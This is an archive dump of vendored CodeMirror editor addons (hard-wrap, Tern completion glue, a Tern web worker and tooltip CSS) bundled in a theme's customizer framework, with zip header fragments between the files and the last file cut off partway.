PK     N\l&  &  K  inc/customizer/framework/assets/js/vendor/codemirror/addon/wrap/hardwrap.jsnu [        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module == "object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) // AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  "use strict";

  var Pos = CodeMirror.Pos;

  function findParagraph(cm, pos, options) {
    var startRE = options.paragraphStart || cm.getHelper(pos, "paragraphStart");
    for (var start = pos.line, first = cm.firstLine(); start > first; --start) {
      var line = cm.getLine(start);
      if (startRE && startRE.test(line)) break;
      if (!/\S/.test(line)) { ++start; break; }
    }
    var endRE = options.paragraphEnd || cm.getHelper(pos, "paragraphEnd");
    for (var end = pos.line + 1, last = cm.lastLine(); end <= last; ++end) {
      var line = cm.getLine(end);
      if (endRE && endRE.test(line)) { ++end; break; }
      if (!/\S/.test(line)) break;
    }
    return {from: start, to: end};
  }

  function findBreakPoint(text, column, wrapOn, killTrailingSpace) {
    for (var at = column; at > 0; --at)
      if (wrapOn.test(text.slice(at - 1, at + 1))) break;
    for (var first = true;; first = false) {
      var endOfText = at;
      if (killTrailingSpace)
        while (text.charAt(endOfText - 1) == " ") --endOfText;
      if (endOfText == 0 && first) at = column;
      else return {from: endOfText, to: at};
    }
  }

  function wrapRange(cm, from, to, options) {
    from = cm.clipPos(from); to = cm.clipPos(to);
    var column = options.column || 80;
    var wrapOn = options.wrapOn || /\s\S|-[^\.\d]/;
    var killTrailing = options.killTrailingSpace !== false;
    var changes = [], curLine = "", curNo = from.line;
    var lines = cm.getRange(from, to, false);
    if (!lines.length) return null;
    var leadingSpace = lines[0].match(/^[ \t]*/)[0];

    for (var i = 0; i < lines.length; ++i) {
      var text = lines[i], oldLen = curLine.length, spaceInserted = 0;
      if (curLine && text && !wrapOn.test(curLine.charAt(curLine.length - 1) + text.charAt(0))) {
        curLine += " ";
        spaceInserted = 1;
      }
      var spaceTrimmed = "";
      if (i) {
        spaceTrimmed = text.match(/^\s*/)[0];
        text = text.slice(spaceTrimmed.length);
      }
      curLine += text;
      if (i) {
        var firstBreak = curLine.length > column && leadingSpace == spaceTrimmed &&
          findBreakPoint(curLine, column, wrapOn, killTrailing);
        // If this isn't broken, or is broken at a different point, remove old break
        if (!firstBreak || firstBreak.from != oldLen || firstBreak.to != oldLen + spaceInserted) {
          changes.push({text: [spaceInserted ? " " : ""],
                        from: Pos(curNo, oldLen),
                        to: Pos(curNo + 1, spaceTrimmed.length)});
        } else {
          curLine = leadingSpace + text;
          ++curNo;
        }
      }
      while (curLine.length > column) {
        var bp = findBreakPoint(curLine, column, wrapOn, killTrailing);
        changes.push({text: ["", leadingSpace],
                      from: Pos(curNo, bp.from),
                      to: Pos(curNo, bp.to)});
        curLine = leadingSpace + curLine.slice(bp.to);
        ++curNo;
      }
    }
    if (changes.length) cm.operation(function() {
      for (var i = 0; i < changes.length; ++i) {
        var change = changes[i];
        if (change.text || CodeMirror.cmpPos(change.from, change.to))
          cm.replaceRange(change.text, change.from, change.to);
      }
    });
    return changes.length ? {from: changes[0].from, to: CodeMirror.changeEnd(changes[changes.length - 1])} : null;
  }

  CodeMirror.defineExtension("wrapParagraph", function(pos, options) {
    options = options || {};
    if (!pos) pos = this.getCursor();
    var para = findParagraph(this, pos, options);
    return wrapRange(this, Pos(para.from, 0), Pos(para.to - 1), options);
  });

  CodeMirror.commands.wrapLines = function(cm) {
    cm.operation(function() {
      var ranges = cm.listSelections(), at = cm.lastLine() + 1;
      for (var i = ranges.length - 1; i >= 0; i--) {
        var range = ranges[i], span;
        if (range.empty()) {
          var para = findParagraph(cm, range.head, {});
          span = {from: Pos(para.from, 0), to: Pos(para.to - 1)};
        } else {
          span = {from: range.from(), to: range.to()};
        }
        if (span.to.line >= at) continue;
        at = span.from.line;
        wrapRange(cm, span.from, span.to, {});
      }
    });
  };

  CodeMirror.defineExtension("wrapRange", function(from, to, options) {
    return wrapRange(this, from, to, options || {});
  });

  CodeMirror.defineExtension("wrapParagraphsInRange", function(from, to, options) {
    options = options || {};
    var cm = this, paras = [];
    for (var line = from.line; line <= to.line;) {
      var para = findParagraph(cm, Pos(line, 0), options);
      paras.push(para);
      line = para.to;
    }
    var madeChange = false;
    if (paras.length) cm.operation(function() {
      for (var i = paras.length - 1; i >= 0; --i)
        madeChange = madeChange || wrapRange(cm, Pos(paras[i].from, 0), Pos(paras[i].to - 1), options);
    });
    return madeChange;
  });
});
PK     N\qu_  _  G  inc/customizer/framework/assets/js/vendor/codemirror/addon/tern/tern.jsnu [        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE

// Glue code between CodeMirror and Tern.
//
// Create a CodeMirror.TernServer to wrap an actual Tern server,
// register open documents (CodeMirror.Doc instances) with it, and
// call its methods to activate the assisting functions that Tern
// provides.
//
// Options supported (all optional):
// * defs: An array of JSON definition data structures.
// * plugins: An object mapping plugin names to configuration
//   options.
// * getFile: A function(name, c) that can be used to access files in
//   the project that haven't been loaded yet. Simply do c(null) to
//   indicate that a file is not available.
// * fileFilter: A function(value, docName, doc) that will be applied
//   to documents before passing them on to Tern.
// * switchToDoc: A function(name, doc) that should, when providing a
//   multi-file view, switch the view or focus to the named file.
// * showError: A function(editor, message) that can be used to
//   override the way errors are displayed.
// * completionTip: Customize the content in tooltips for completions.
//   Is passed a single argument—the completion's data as returned by
//   Tern—and may return a string, DOM node, or null to indicate that
//   no tip should be shown. By default the docstring is shown.
// * typeTip: Like completionTip, but for the tooltips shown for type
//   queries.
// * responseFilter: A function(doc, query, request, error, data) that
//   will be applied to the Tern responses before treating them
//
//
// It is possible to run the Tern server in a web worker by specifying
// these additional options:
// * useWorker: Set to true to enable web worker mode. You'll probably
//   want to feature detect the actual value you use here, for example
//   !!window.Worker.
// * workerScript: The main script of the worker. Point this to
//   wherever you are hosting worker.js from this directory.
// * workerDeps: An array of paths pointing (relative to workerScript)
//   to the Acorn and Tern libraries and any Tern plugins you want to
//   load. Or, if you minified those into a single script and included
//   them in the workerScript, simply leave this undefined.

(function(mod) {
  if (typeof exports == "object" && typeof module == "object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) // AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  "use strict";
  // declare global: tern

  CodeMirror.TernServer = function(options) {
    var self = this;
    this.options = options || {};
    var plugins = this.options.plugins || (this.options.plugins = {});
    if (!plugins.doc_comment) plugins.doc_comment = true;
    this.docs = Object.create(null);
    if (this.options.useWorker) {
      this.server = new WorkerServer(this);
    } else {
      this.server = new tern.Server({
        getFile: function(name, c) { return getFile(self, name, c); },
        async: true,
        defs: this.options.defs || [],
        plugins: plugins
      });
    }
    this.trackChange = function(doc, change) { trackChange(self, doc, change); };

    this.cachedArgHints = null;
    this.activeArgHints = null;
    this.jumpStack = [];

    this.getHint = function(cm, c) { return hint(self, cm, c); };
    this.getHint.async = true;
  };

  CodeMirror.TernServer.prototype = {
    addDoc: function(name, doc) {
      var data = {doc: doc, name: name, changed: null};
      this.server.addFile(name, docValue(this, data));
      CodeMirror.on(doc, "change", this.trackChange);
      return this.docs[name] = data;
    },

    delDoc: function(id) {
      var found = resolveDoc(this, id);
      if (!found) return;
      CodeMirror.off(found.doc, "change", this.trackChange);
      delete this.docs[found.name];
      this.server.delFile(found.name);
    },

    hideDoc: function(id) {
      closeArgHints(this);
      var found = resolveDoc(this, id);
      if (found && found.changed) sendDoc(this, found);
    },

    complete: function(cm) {
      cm.showHint({hint: this.getHint});
    },

    showType: function(cm, pos, c) { showContextInfo(this, cm, pos, "type", c); },

    showDocs: function(cm, pos, c) { showContextInfo(this, cm, pos, "documentation", c); },

    updateArgHints: function(cm) { updateArgHints(this, cm); },

    jumpToDef: function(cm) { jumpToDef(this, cm); },

    jumpBack: function(cm) { jumpBack(this, cm); },

    rename: function(cm) { rename(this, cm); },

    selectName: function(cm) { selectName(this, cm); },

    request: function (cm, query, c, pos) {
      var self = this;
      var doc = findDoc(this, cm.getDoc());
      var request = buildRequest(this, doc, query, pos);
      var extraOptions = request.query && this.options.queryOptions && this.options.queryOptions[request.query.type]
      if (extraOptions) for (var prop in extraOptions) request.query[prop] = extraOptions[prop];

      this.server.request(request, function (error, data) {
        if (!error && self.options.responseFilter)
          data = self.options.responseFilter(doc, query, request, error, data);
        c(error, data);
      });
    },

    destroy: function () {
      closeArgHints(this)
      if (this.worker) {
        this.worker.terminate();
        this.worker = null;
      }
    }
  };

  var Pos = CodeMirror.Pos;
  var cls = "CodeMirror-Tern-";
  var bigDoc = 250;

  function getFile(ts, name, c) {
    var buf = ts.docs[name];
    if (buf)
      c(docValue(ts, buf));
    else if (ts.options.getFile)
      ts.options.getFile(name, c);
    else
      c(null);
  }

  function findDoc(ts, doc, name) {
    for (var n in ts.docs) {
      var cur = ts.docs[n];
      if (cur.doc == doc) return cur;
    }
    if (!name) for (var i = 0;; ++i) {
      n = "[doc" + (i || "") + "]";
      if (!ts.docs[n]) { name = n; break; }
    }
    return ts.addDoc(name, doc);
  }

  function resolveDoc(ts, id) {
    if (typeof id == "string") return ts.docs[id];
    if (id instanceof CodeMirror) id = id.getDoc();
    if (id instanceof CodeMirror.Doc) return findDoc(ts, id);
  }

  function trackChange(ts, doc, change) {
    var data = findDoc(ts, doc);

    var argHints = ts.cachedArgHints;
    if (argHints && argHints.doc == doc && cmpPos(argHints.start, change.to) <= 0)
      ts.cachedArgHints = null;

    var changed = data.changed;
    if (changed == null)
      data.changed = changed = {from: change.from.line, to: change.from.line};
    var end = change.from.line + (change.text.length - 1);
    if (change.from.line < changed.to) changed.to = changed.to - (change.to.line - end);
    if (end >= changed.to) changed.to = end + 1;
    if (changed.from > change.from.line) changed.from = change.from.line;

    if (doc.lineCount() > bigDoc && change.to - changed.from > 100) setTimeout(function() {
      if (data.changed && data.changed.to - data.changed.from > 100) sendDoc(ts, data);
    }, 200);
  }

  function sendDoc(ts, doc) {
    ts.server.request({files: [{type: "full", name: doc.name, text: docValue(ts, doc)}]}, function(error) {
      if (error) window.console.error(error);
      else doc.changed = null;
    });
  }

  // Completion

  function hint(ts, cm, c) {
    ts.request(cm, {type: "completions", types: true, docs: true, urls: true}, function(error, data) {
      if (error) return showError(ts, cm, error);
      var completions = [], after = "";
      var from = data.start, to = data.end;
      if (cm.getRange(Pos(from.line, from.ch - 2), from) == "[\"" &&
          cm.getRange(to, Pos(to.line, to.ch + 2)) != "\"]")
        after = "\"]";

      for (var i = 0; i < data.completions.length; ++i) {
        var completion = data.completions[i], className = typeToIcon(completion.type);
        if (data.guess) className += " " + cls + "guess";
        completions.push({text: completion.name + after,
                          displayText: completion.displayName || completion.name,
                          className: className,
                          data: completion});
      }

      var obj = {from: from, to: to, list: completions};
      var tooltip = null;
      CodeMirror.on(obj, "close", function() { remove(tooltip); });
      CodeMirror.on(obj, "update", function() { remove(tooltip); });
      CodeMirror.on(obj, "select", function(cur, node) {
        remove(tooltip);
        var content = ts.options.completionTip ? ts.options.completionTip(cur.data) : cur.data.doc;
        if (content) {
          tooltip = makeTooltip(node.parentNode.getBoundingClientRect().right + window.pageXOffset,
                                node.getBoundingClientRect().top + window.pageYOffset, content);
          tooltip.className += " " + cls + "hint-doc";
        }
      });
      c(obj);
    });
  }

  function typeToIcon(type) {
    var suffix;
    if (type == "?") suffix = "unknown";
    else if (type == "number" || type == "string" || type == "bool") suffix = type;
    else if (/^fn\(/.test(type)) suffix = "fn";
    else if (/^\[/.test(type)) suffix = "array";
    else suffix = "object";
    return cls + "completion " + cls + "completion-" + suffix;
  }

  // Type queries

  function showContextInfo(ts, cm, pos, queryName, c) {
    ts.request(cm, queryName, function(error, data) {
      if (error) return showError(ts, cm, error);
      if (ts.options.typeTip) {
        var tip = ts.options.typeTip(data);
      } else {
        var tip = elt("span", null, elt("strong", null, data.type || "not found"));
        if (data.doc)
          tip.appendChild(document.createTextNode(" — " + data.doc));
        if (data.url) {
          tip.appendChild(document.createTextNode(" "));
          var child = tip.appendChild(elt("a", null, "[docs]"));
          child.href = data.url;
          child.target = "_blank";
        }
      }
      tempTooltip(cm, tip, ts);
      if (c) c();
    }, pos);
  }

  // Maintaining argument hints

  function updateArgHints(ts, cm) {
    closeArgHints(ts);

    if (cm.somethingSelected()) return;
    var state = cm.getTokenAt(cm.getCursor()).state;
    var inner = CodeMirror.innerMode(cm.getMode(), state);
    if (inner.mode.name != "javascript") return;
    var lex = inner.state.lexical;
    if (lex.info != "call") return;

    var ch, argPos = lex.pos || 0, tabSize = cm.getOption("tabSize");
    for (var line = cm.getCursor().line, e = Math.max(0, line - 9), found = false; line >= e; --line) {
      var str = cm.getLine(line), extra = 0;
      for (var pos = 0;;) {
        var tab = str.indexOf("\t", pos);
        if (tab == -1) break;
        extra += tabSize - (tab + extra) % tabSize - 1;
        pos = tab + 1;
      }
      ch = lex.column - extra;
      if (str.charAt(ch) == "(") {found = true; break;}
    }
    if (!found) return;

    var start = Pos(line, ch);
    var cache = ts.cachedArgHints;
    if (cache && cache.doc == cm.getDoc() && cmpPos(start, cache.start) == 0)
      return showArgHints(ts, cm, argPos);

    ts.request(cm, {type: "type", preferFunction: true, end: start}, function(error, data) {
      if (error || !data.type || !(/^fn\(/).test(data.type)) return;
      ts.cachedArgHints = {
        start: pos,
        type: parseFnType(data.type),
        name: data.exprName || data.name || "fn",
        guess: data.guess,
        doc: cm.getDoc()
      };
      showArgHints(ts, cm, argPos);
    });
  }

  function showArgHints(ts, cm, pos) {
    closeArgHints(ts);

    var cache = ts.cachedArgHints, tp = cache.type;
    var tip = elt("span", cache.guess ? cls + "fhint-guess" : null,
                  elt("span", cls + "fname", cache.name), "(");
    for (var i = 0; i < tp.args.length; ++i) {
      if (i) tip.appendChild(document.createTextNode(", "));
      var arg = tp.args[i];
      tip.appendChild(elt("span", cls + "farg" + (i == pos ? " " + cls + "farg-current" : ""), arg.name || "?"));
      if (arg.type != "?") {
        tip.appendChild(document.createTextNode(":\u00a0"));
        tip.appendChild(elt("span", cls + "type", arg.type));
      }
    }
    tip.appendChild(document.createTextNode(tp.rettype ? ") ->\u00a0" : ")"));
    if (tp.rettype) tip.appendChild(elt("span", cls + "type", tp.rettype));
    var place = cm.cursorCoords(null, "page");
    ts.activeArgHints = makeTooltip(place.right + 1, place.bottom, tip);
  }

  function parseFnType(text) {
    var args = [], pos = 3;

    function skipMatching(upto) {
      var depth = 0, start = pos;
      for (;;) {
        var next = text.charAt(pos);
        if (upto.test(next) && !depth) return text.slice(start, pos);
        if (/[{\[\(]/.test(next)) ++depth;
        else if (/[}\]\)]/.test(next)) --depth;
        ++pos;
      }
    }

    // Parse arguments
    if (text.charAt(pos) != ")") for (;;) {
      var name = text.slice(pos).match(/^([^, \(\[\{]+): /);
      if (name) {
        pos += name[0].length;
        name = name[1];
      }
      args.push({name: name, type: skipMatching(/[\),]/)});
      if (text.charAt(pos) == ")") break;
      pos += 2;
    }

    var rettype = text.slice(pos).match(/^\) -> (.*)$/);

    return {args: args, rettype: rettype && rettype[1]};
  }

  // Moving to the definition of something

  function jumpToDef(ts, cm) {
    function inner(varName) {
      var req = {type: "definition", variable: varName || null};
      var doc = findDoc(ts, cm.getDoc());
      ts.server.request(buildRequest(ts, doc, req), function(error, data) {
        if (error) return showError(ts, cm, error);
        if (!data.file && data.url) { window.open(data.url); return; }

        if (data.file) {
          var localDoc = ts.docs[data.file], found;
          if (localDoc && (found = findContext(localDoc.doc, data))) {
            ts.jumpStack.push({file: doc.name,
                               start: cm.getCursor("from"),
                               end: cm.getCursor("to")});
            moveTo(ts, doc, localDoc, found.start, found.end);
            return;
          }
        }
        showError(ts, cm, "Could not find a definition.");
      });
    }

    if (!atInterestingExpression(cm))
      dialog(cm, "Jump to variable", function(name) { if (name) inner(name); });
    else
      inner();
  }

  function jumpBack(ts, cm) {
    var pos = ts.jumpStack.pop(), doc = pos && ts.docs[pos.file];
    if (!doc) return;
    moveTo(ts, findDoc(ts, cm.getDoc()), doc, pos.start, pos.end);
  }

  function moveTo(ts, curDoc, doc, start, end) {
    doc.doc.setSelection(start, end);
    if (curDoc != doc && ts.options.switchToDoc) {
      closeArgHints(ts);
      ts.options.switchToDoc(doc.name, doc.doc);
    }
  }

  // The {line,ch} representation of positions makes this rather awkward.
  function findContext(doc, data) {
    var before = data.context.slice(0, data.contextOffset).split("\n");
    var startLine = data.start.line - (before.length - 1);
    var start = Pos(startLine, (before.length == 1 ? data.start.ch : doc.getLine(startLine).length) - before[0].length);

    var text = doc.getLine(startLine).slice(start.ch);
    for (var cur = startLine + 1; cur < doc.lineCount() && text.length < data.context.length; ++cur)
      text += "\n" + doc.getLine(cur);
    if (text.slice(0, data.context.length) == data.context) return data;

    var cursor = doc.getSearchCursor(data.context, 0, false);
    var nearest, nearestDist = Infinity;
    while (cursor.findNext()) {
      var from = cursor.from(), dist = Math.abs(from.line - start.line) * 10000;
      if (!dist) dist = Math.abs(from.ch - start.ch);
      if (dist < nearestDist) { nearest = from; nearestDist = dist; }
    }
    if (!nearest) return null;

    if (before.length == 1)
      nearest.ch += before[0].length;
    else
      nearest = Pos(nearest.line + (before.length - 1), before[before.length - 1].length);
    if (data.start.line == data.end.line)
      var end = Pos(nearest.line, nearest.ch + (data.end.ch - data.start.ch));
    else
      var end = Pos(nearest.line + (data.end.line - data.start.line), data.end.ch);
    return {start: nearest, end: end};
  }

  function atInterestingExpression(cm) {
    var pos = cm.getCursor("end"), tok = cm.getTokenAt(pos);
    if (tok.start < pos.ch && tok.type == "comment") return false;
    return /[\w)\]]/.test(cm.getLine(pos.line).slice(Math.max(pos.ch - 1, 0), pos.ch + 1));
  }

  // Variable renaming

  function rename(ts, cm) {
    var token = cm.getTokenAt(cm.getCursor());
    if (!/\w/.test(token.string)) return showError(ts, cm, "Not at a variable");
    dialog(cm, "New name for " + token.string, function(newName) {
      ts.request(cm, {type: "rename", newName: newName, fullDocs: true}, function(error, data) {
        if (error) return showError(ts, cm, error);
        applyChanges(ts, data.changes);
      });
    });
  }

  function selectName(ts, cm) {
    var name = findDoc(ts, cm.doc).name;
    ts.request(cm, {type: "refs"}, function(error, data) {
      if (error) return showError(ts, cm, error);
      var ranges = [], cur = 0;
      var curPos = cm.getCursor();
      for (var i = 0; i < data.refs.length; i++) {
        var ref = data.refs[i];
        if (ref.file == name) {
          ranges.push({anchor: ref.start, head: ref.end});
          if (cmpPos(curPos, ref.start) >= 0 && cmpPos(curPos, ref.end) <= 0)
            cur = ranges.length - 1;
        }
      }
      cm.setSelections(ranges, cur);
    });
  }

  var nextChangeOrig = 0;
  function applyChanges(ts, changes) {
    var perFile = Object.create(null);
    for (var i = 0; i < changes.length; ++i) {
      var ch = changes[i];
      (perFile[ch.file] || (perFile[ch.file] = [])).push(ch);
    }
    for (var file in perFile) {
      var known = ts.docs[file], chs = perFile[file];;
      if (!known) continue;
      chs.sort(function(a, b) { return cmpPos(b.start, a.start); });
      var origin = "*rename" + (++nextChangeOrig);
      for (var i = 0; i < chs.length; ++i) {
        var ch = chs[i];
        known.doc.replaceRange(ch.text, ch.start, ch.end, origin);
      }
    }
  }

  // Generic request-building helper

  function buildRequest(ts, doc, query, pos) {
    var files = [], offsetLines = 0, allowFragments = !query.fullDocs;
    if (!allowFragments) delete query.fullDocs;
    if (typeof query == "string") query = {type: query};
    query.lineCharPositions = true;
    if (query.end == null) {
      query.end = pos || doc.doc.getCursor("end");
      if (doc.doc.somethingSelected())
        query.start = doc.doc.getCursor("start");
    }
    var startPos = query.start || query.end;

    if (doc.changed) {
      if (doc.doc.lineCount() > bigDoc && allowFragments !== false &&
          doc.changed.to - doc.changed.from < 100 &&
          doc.changed.from <= startPos.line && doc.changed.to > query.end.line) {
        files.push(getFragmentAround(doc, startPos, query.end));
        query.file = "#0";
        var offsetLines = files[0].offsetLines;
        if (query.start != null) query.start = Pos(query.start.line - -offsetLines, query.start.ch);
        query.end = Pos(query.end.line - offsetLines, query.end.ch);
      } else {
        files.push({type: "full",
                    name: doc.name,
                    text: docValue(ts, doc)});
        query.file = doc.name;
        doc.changed = null;
      }
    } else {
      query.file = doc.name;
    }
    for (var name in ts.docs) {
      var cur = ts.docs[name];
      if (cur.changed && cur != doc) {
        files.push({type: "full", name: cur.name, text: docValue(ts, cur)});
        cur.changed = null;
      }
    }

    return {query: query, files: files};
  }

  function getFragmentAround(data, start, end) {
    var doc = data.doc;
    var minIndent = null, minLine = null, endLine, tabSize = 4;
    for (var p = start.line - 1, min = Math.max(0, p - 50); p >= min; --p) {
      var line = doc.getLine(p), fn = line.search(/\bfunction\b/);
      if (fn < 0) continue;
      var indent = CodeMirror.countColumn(line, null, tabSize);
      if (minIndent != null && minIndent <= indent) continue;
      minIndent = indent;
      minLine = p;
    }
    if (minLine == null) minLine = min;
    var max = Math.min(doc.lastLine(), end.line + 20);
    if (minIndent == null || minIndent == CodeMirror.countColumn(doc.getLine(start.line), null, tabSize))
      endLine = max;
    else for (endLine = end.line + 1; endLine < max; ++endLine) {
      var indent = CodeMirror.countColumn(doc.getLine(endLine), null, tabSize);
      if (indent <= minIndent) break;
    }
    var from = Pos(minLine, 0);

    return {type: "part",
            name: data.name,
            offsetLines: from.line,
            text: doc.getRange(from, Pos(endLine, 0))};
  }

  // Generic utilities

  var cmpPos = CodeMirror.cmpPos;

  function elt(tagname, cls /*, ... elts*/) {
    var e = document.createElement(tagname);
    if (cls) e.className = cls;
    for (var i = 2; i < arguments.length; ++i) {
      var elt = arguments[i];
      if (typeof elt == "string") elt = document.createTextNode(elt);
      e.appendChild(elt);
    }
    return e;
  }

  function dialog(cm, text, f) {
    if (cm.openDialog)
      cm.openDialog(text + ": <input type=text>", f);
    else
      f(prompt(text, ""));
  }

  // Tooltips

  function tempTooltip(cm, content, ts) {
    if (cm.state.ternTooltip) remove(cm.state.ternTooltip);
    var where = cm.cursorCoords();
    var tip = cm.state.ternTooltip = makeTooltip(where.right + 1, where.bottom, content);
    function maybeClear() {
      old = true;
      if (!mouseOnTip) clear();
    }
    function clear() {
      cm.state.ternTooltip = null;
      if (!tip.parentNode) return;
      cm.off("cursorActivity", clear);
      cm.off('blur', clear);
      cm.off('scroll', clear);
      fadeOut(tip);
    }
    var mouseOnTip = false, old = false;
    CodeMirror.on(tip, "mousemove", function() { mouseOnTip = true; });
    CodeMirror.on(tip, "mouseout", function(e) {
      if (!CodeMirror.contains(tip, e.relatedTarget || e.toElement)) {
        if (old) clear();
        else mouseOnTip = false;
      }
    });
    setTimeout(maybeClear, ts.options.hintDelay ? ts.options.hintDelay : 1700);
    cm.on("cursorActivity", clear);
    cm.on('blur', clear);
    cm.on('scroll', clear);
  }

  function makeTooltip(x, y, content) {
    var node = elt("div", cls + "tooltip", content);
    node.style.left = x + "px";
    node.style.top = y + "px";
    document.body.appendChild(node);
    return node;
  }

  function remove(node) {
    var p = node && node.parentNode;
    if (p) p.removeChild(node);
  }

  function fadeOut(tooltip) {
    tooltip.style.opacity = "0";
    setTimeout(function() { remove(tooltip); }, 1100);
  }

  function showError(ts, cm, msg) {
    if (ts.options.showError)
      ts.options.showError(cm, msg);
    else
      tempTooltip(cm, String(msg), ts);
  }

  function closeArgHints(ts) {
    if (ts.activeArgHints) { remove(ts.activeArgHints); ts.activeArgHints = null; }
  }

  function docValue(ts, doc) {
    var val = doc.doc.getValue();
    if (ts.options.fileFilter) val = ts.options.fileFilter(val, doc.name, doc.doc);
    return val;
  }

  // Worker wrapper

  function WorkerServer(ts) {
    var worker = ts.worker = new Worker(ts.options.workerScript);
    worker.postMessage({type: "init",
                        defs: ts.options.defs,
                        plugins: ts.options.plugins,
                        scripts: ts.options.workerDeps});
    var msgId = 0, pending = {};

    function send(data, c) {
      if (c) {
        data.id = ++msgId;
        pending[msgId] = c;
      }
      worker.postMessage(data);
    }
    worker.onmessage = function(e) {
      var data = e.data;
      if (data.type == "getFile") {
        getFile(ts, data.name, function(err, text) {
          send({type: "getFile", err: String(err), text: text, id: data.id});
        });
      } else if (data.type == "debug") {
        window.console.log(data.message);
      } else if (data.id && pending[data.id]) {
        pending[data.id](data.err, data.body);
        delete pending[data.id];
      }
    };
    worker.onerror = function(e) {
      for (var id in pending) pending[id](e);
      pending = {};
    };

    this.addFile = function(name, text) { send({type: "add", name: name, text: text}); };
    this.delFile = function(name) { send({type: "del", name: name}); };
    this.request = function(body, c) { send({type: "req", body: body}, c); };
  }
});
PK     N\h<    I  inc/customizer/framework/assets/js/vendor/codemirror/addon/tern/worker.jsnu [        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE

// declare global: tern, server

var server;

this.onmessage = function(e) {
  var data = e.data;
  switch (data.type) {
  case "init": return startServer(data.defs, data.plugins, data.scripts);
  case "add": return server.addFile(data.name, data.text);
  case "del": return server.delFile(data.name);
  case "req": return server.request(data.body, function(err, reqData) {
    postMessage({id: data.id, body: reqData, err: err && String(err)});
  });
  case "getFile":
    var c = pending[data.id];
    delete pending[data.id];
    return c(data.err, data.text);
  default: throw new Error("Unknown message type: " + data.type);
  }
};

var nextId = 0, pending = {};
function getFile(file, c) {
  postMessage({type: "getFile", name: file, id: ++nextId});
  pending[nextId] = c;
}

function startServer(defs, plugins, scripts) {
  if (scripts) importScripts.apply(null, scripts);

  server = new tern.Server({
    getFile: getFile,
    async: true,
    defs: defs,
    plugins: plugins
  });
}

this.console = {
  log: function(v) { postMessage({type: "debug", message: v}); }
};
PK     N\JjP  P  H  inc/customizer/framework/assets/js/vendor/codemirror/addon/tern/tern.cssnu [        .CodeMirror-Tern-completion {
  padding-left: 22px;
  position: relative;
  line-height: 1.5;
}
.CodeMirror-Tern-completion:before {
  position: absolute;
  left: 2px;
  bottom: 2px;
  border-radius: 50%;
  font-size: 12px;
  font-weight: bold;
  height: 15px;
  width: 15px;
  line-height: 16px;
  text-align: center;
  color: white;
  -moz-box-sizing: border-box;
  box-sizing: border-box;
}
.CodeMirror-Tern-completion-unknown:before {
  content: "?";
  background: #4bb;
}
.CodeMirror-Tern-completion-object:before {
  content: "O";
  background: #77c;
}
.CodeMirror-Tern-completion-fn:before {
  content: "F";
  background: #7c7;
}
.CodeMirror-Tern-completion-array:before {
  content: "A";
  background: #c66;
}
.CodeMirror-Tern-completion-number:before {
  content: "1";
  background: #999;
}
.CodeMirror-Tern-completion-string:before {
  content: "S";
  background: #999;
}
.CodeMirror-Tern-completion-bool:before {
  content: "B";
  background: #999;
}

.CodeMirror-Tern-completion-guess {
  color: #999;
}

.CodeMirror-Tern-tooltip {
  border: 1px solid silver;
  border-radius: 3px;
  color: #444;
  padding: 2px 5px;
  font-size: 90%;
  font-family: monospace;
  background-color: white;
  white-space: pre-wrap;

  max-width: 40em;
  position: absolute;
  z-index: 10;
  -webkit-box-shadow: 2px 3px 5px rgba(0,0,0,.2);
  -moz-box-shadow: 2px 3px 5px rgba(0,0,0,.2);
  box-shadow: 2px 3px 5px rgba(0,0,0,.2);

  transition: opacity 1s;
  -moz-transition: opacity 1s;
  -webkit-transition: opacity 1s;
  -o-transition: opacity 1s;
  -ms-transition: opacity 1s;
}

.CodeMirror-Tern-hint-doc {
  max-width: 25em;
  margin-top: -3px;
}

.CodeMirror-Tern-fname { color: black; }
.CodeMirror-Tern-farg { color: #70a; }
.CodeMirror-Tern-farg-current { text-decoration: underline; }
.CodeMirror-Tern-type { color: #07c; }
.CodeMirror-Tern-fhint-guess { opacity: .7; }
PK     N\0    X  inc/customizer/framework/assets/js/vendor/codemirror/addon/runmode/runmode-standalone.jsnu [        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE

window.CodeMirror = {};

(function() {
"use strict";

function splitLines(string){ return string.split(/\r?\n|\r/); };

function StringStream(string) {
  this.pos = this.start = 0;
  this.string = string;
  this.lineStart = 0;
}
StringStream.prototype = {
  eol: function() {return this.pos >= this.string.length;},
  sol: function() {return this.pos == 0;},
  peek: function() {return this.string.charAt(this.pos) || null;},
  next: function() {
    if (this.pos < this.string.length)
      return this.string.charAt(this.pos++);
  },
  eat: function(match) {
    var ch = this.string.charAt(this.pos);
    if (typeof match == "string") var ok = ch == match;
    else var ok = ch && (match.test ? match.test(ch) : match(ch));
    if (ok) {++this.pos; return ch;}
  },
  eatWhile: function(match) {
    var start = this.pos;
    while (this.eat(match)){}
    return this.pos > start;
  },
  eatSpace: function() {
    var start = this.pos;
    while (/[\s\u00a0]/.test(this.string.charAt(this.pos))) ++this.pos;
    return this.pos > start;
  },
  skipToEnd: function() {this.pos = this.string.length;},
  skipTo: function(ch) {
    var found = this.string.indexOf(ch, this.pos);
    if (found > -1) {this.pos = found; return true;}
  },
  backUp: function(n) {this.pos -= n;},
  column: function() {return this.start - this.lineStart;},
  indentation: function() {return 0;},
  match: function(pattern, consume, caseInsensitive) {
    if (typeof pattern == "string") {
      var cased = function(str) {return caseInsensitive ? str.toLowerCase() : str;};
      var substr = this.string.substr(this.pos, pattern.length);
      if (cased(substr) == cased(pattern)) {
        if (consume !== false) this.pos += pattern.length;
        return true;
      }
    } else {
      var match = this.string.slice(this.pos).match(pattern);
      if (match && match.index > 0) return null;
      if (match && consume !== false) this.pos += match[0].length;
      return match;
    }
  },
  current: function(){return this.string.slice(this.start, this.pos);},
  hideFirstChars: function(n, inner) {
    this.lineStart += n;
    try { return inner(); }
    finally { this.lineStart -= n; }
  }
};
CodeMirror.StringStream = StringStream;

